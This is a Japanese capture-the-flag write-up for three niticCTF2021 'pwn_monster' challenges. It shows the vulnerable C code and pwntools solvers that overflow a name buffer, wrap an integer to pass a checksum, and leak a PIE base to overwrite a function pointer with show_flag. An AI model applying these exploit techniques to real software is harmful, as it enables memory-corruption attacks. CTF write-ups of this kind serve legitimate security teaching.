pwn
niticCTF2021
solverのソースコードは、GitHubにあります。
A
を大量に入力する$ nc 35.200.120.35 9001
____ __ __ _
| _ \__ ___ __ | \/ | ___ _ __ ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
| __/ \ V V /| | | | | | | (_) | | | \__ \ || __/ |
|_| \_/\_/ |_| |_|_| |_|\___/|_| |_|___/\__\___|_|
Press Any Key
Welcome to Pwn Monster World!
I'll give your first monster!
Let's give your monster a name!
+--------+--------------------+----------------------+
|name | 0x0000000000000000 | |
| | 0x0000000000000000 | |
|HP | 0x0000000000000064 | 100 |
|ATK | 0x000000000000000a | 10 |
+--------+--------------------+----------------------+
+--------+--------------------+----------------------+
|name | 0x0000000000000000 | |
| | 0x0000000000000000 | |
|HP | 0x0000000000000064 | 100 |
|ATK | 0x000000000000000a | 10 |
+--------+--------------------+----------------------+
ncした時に現れるこの部分から、たくさんのA
を与えてみる
Input name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
+--------+--------------------+----------------------+
|name | 0x4141414141414141 | AAAAAAAA |
| | 0x4141414141414141 | AAAAAAAA |
|HP | 0x4141414141414141 | 4702111234474983745 |
|ATK | 0x4141414141414141 | 4702111234474983745 |
+--------+--------------------+----------------------+
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwnchu HP: 4702111234474983745
[Rival] pwnchu HP: 9999
Your Turn.
Rival monster took 4702111234474983745 damage!
[You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwnchu HP: 4702111234474983745
[Rival] pwnchu HP: -4702111234474973746
Win!
nitic_ctf{We1c0me_t0_pwn_w0r1d!}
*** stack smashing detected ***: terminated
Aborted (core dumped)
pwn_monster1のFLAG
nitic_ctf{We1c0me_t0_pwn_w0r1d!}
void give_monster_name(Monster* monster) {
printf("Let's give your monster a name!\n");
print_monster_infomation(*monster);
int64_t checksum = monster->hp + monster->attack;
printf("Checksum: %ld\n", checksum);
printf("Input name: ");
scanf("%s%*c", monster->name);
print_monster_infomation(*monster);
printf("Checksum: %ld\n", monster->hp + monster->attack);
if (monster->hp + monster->attack != checksum) {
puts("Detect cheat.");
exit(1);
}
puts("OK, Nice name.");
}
int64_t checksum = monster->hp + monster->attack;
~略~
if (monster->hp + monster->attack != checksum) {
puts("Detect cheat.");
exit(1);
}
//(なお、main関数でhpとATKの初期値がそれぞれ100と10に設定されている)
hp
とATK
の和が110
になるためには、
hp
の値がマイナスにならない程度に引き上げて、0xFFFFFFFFFFFFFFFF
を超えたら繰り上がることを利用する。
from pwn import *
#io = process("./vuln")
io = remote("35.200.120.35", 9002)
payload = b""
payload += b"A"*0x10
payload += b"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x0F" #1152921504606846975
payload += b"\x6F\x00\x00\x00\x00\x00\x00\xF0" #-1152921504606846865
io.sendlineafter("Input name: ", payload)
io.interactive()
pwn_monster2のFLAG
nitic_ctf{buffer_and_1nteger_overfl0w}
PIE
が有効なのでbase addressを求める$ nc 35.200.120.35 9003
____ __ __ _
| _ \__ ___ __ | \/ | ___ _ __ ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
| __/ \ V V /| | | | | | | (_) | | | \__ \ || __/ |
|_| \_/\_/ |_| |_|_| |_|\___/|_| |_|___/\__\___|_|
Press Any Key
Welcome to Pwn Monster World!
I'll give your first monster!
Let's give your monster a name!
+--------+--------------------+----------------------+
|name | 0x0000000000000000 | |
| | 0x0000000000000000 | |
|HP | 0x0000000000000064 | 100 |
|ATK | 0x000000000000000a | 10 |
|cry() | 0x000055d2362ad34e | |
+--------+--------------------+----------------------+
Input name:
まず、ATK
の下にあるcry関数のアドレスを取得する。(solverの7,8行目)
バイナリ内のcry関数my_monster_cry
のアドレスを得て、差を取る。(solverの10行目)
これによって、base addressがわかる。
base addressとshow_flag
の相対アドレスの和をとって、
cry関数のアドレスを上書きする。(14~17行目)
from pwn import *
elf = ELF("./vuln")
#io = process("./vuln")
io = remote("35.200.120.35", "9003")
# leak cry function address
io.recvuntil("cry() | ")
cry_addr = int(io.recvuntil(" ").strip(), 16)
# calc binary base address
bin_baseaddr = cry_addr - elf.symbols["my_monster_cry"]
# build show_flag function address
SHOW_FLAG = bin_baseaddr + elf.symbols["show_flag"]
payload = b""
payload += b"A"*0x10 + b"B"*0x10
payload += p64(SHOW_FLAG)
io.sendafter("Input name: ", payload)
io.interactive()
pwn_monster3のFLAG
nitic_ctf{rewrite_function_pointer_is_fun}